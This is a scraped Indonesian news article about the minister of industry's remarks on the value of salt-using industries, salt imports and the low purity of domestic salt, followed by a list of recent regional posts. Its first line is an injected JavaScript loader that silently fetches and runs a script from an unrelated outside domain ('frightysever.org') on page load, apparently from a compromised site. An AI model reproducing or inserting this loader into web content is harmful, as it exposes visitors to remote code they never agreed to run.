(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Menperin: Industri Pengguna Garam Sumbang Devisa Hampir 500 Kali Lipat Impor


KANALKALIMANTAN.COM – Menteri Perindustrian Agus Gumiwang Kartasasmita mengungkapkan garam telah menjadi komoditas strategis yang penggunaannya begitu luas. Karena itu pula, industri pengguna garam telah menyumbangkan devisa setara hampir 500 kali lipat dari impor garam.

Agus menuturkan kalau pertumbuhan penggunaannya juga cukup tinggi. Ia menyebut rata-rata pertumbuhannya bisa lima hingga tujuh persen per tahun.

Ia menjelaskan kalau pengguna garam itu bukan hanya di sektor rumah tangga saja.

“Pengguna garam terbesar justru dari industri mulai dari petrokimia, kerta, aneka pangan, farmasi dan kosmetik, hingga pertambangan minyak. Industri Chlor Alkali Plant (CAP) saja membutuhkan hingga 2,4 juta ton per tahun,” jelas Agus dalam webinar bertajuk “Industrialisasi Garam Nasional Berbasis Teknologi”, Jumat (24/9/2021).

 

 

Baca juga: BREAKING NEWS: Dijemput Paksa, Azis Syamsuddin Digelandang KPK di Jumat Keramat!

Agus juga mengatakan total kebutuhan garam secara nasional mencapai 4,6 juta ton pada 2021. Padahal menurut data Badan Pusat Statistik (BPS), produksi garam nasional tidak sampai 1,5 juta ton.

Oleh karena itu, Indonesia masih harus mengimpor garam dengan nilai hingga USD 97 juta pada 2020. Dengan bahan baku tersebut industri pengguna garam mengekspor setara dengan USD 47,9 miliar.

“Industri pengguna garam salah satu sektor yang tetap tumbuh di tengah pandemi. Hal ini menunjukkan betapa pentingnya industri pengguna garam,” ucapnya.

Sementara itu, Wakil Ketua Bidang Kebijakan Publik & Hubungan Antar Lembaga Gabungan Pengusaha Makanan dan Minuman Indonesia (GAPMMI) Hermawan Prajudi mengatakan kalau pihaknya sangat ingin menggunakan garam dari dalam negeri. Akan tetapi ia mengungkapkan adanya kekurangan pada kadar garam dalam negeri yakni masih di bawah 90 persen. Padahal garam industri itu setidaknya harus punya kadar kemurnian 97 persen.

“Banyak masalah kalau menggunakan garam tidak sesuai standar,” ungkap Hermawan.
Menurutnya, garam dengan kandungan air tinggi bisa mempercepat kerusakan produk. Kandungan benda asing di garam bisa menjadi salah satu penyebab mesin pengolah rusak hingga ditolak oleh pasar, bahkan keberadaan benda asing dalam produk makanan bisa memicu keluhan konsumen.

Baca juga: Bikin Kerumunan, Satgas Covid-19 Polres Banjarbaru Bubarkan Atraksi Sulap Jalanan

“Sebagai industri orientasi ekspor, sektor makanan dan minuman juga harus memenuhi standar keamanan pangan di berbagai negara, standar itu tidak menoleransi benda-benda asing dalam pangan. Karena itu, industri makanan dan minuman sulit menerima garam dengan kadar kemurnian di bawah standar.” (Suara.com)

Editor: suara


Risa

Recent Posts

Sekda HSU Sambut Tim Wasev TMMD ke-120

KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More

32 menit ago

Seleksi Wawancara Panwascam Empat Kecamatan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More

39 menit ago

Satgas TMMD-Warga Desa Sungai Karias Keroyokan Hingga Malam

KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More

50 menit ago

Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More

59 menit ago

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

7 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

17 jam ago

This website uses cookies.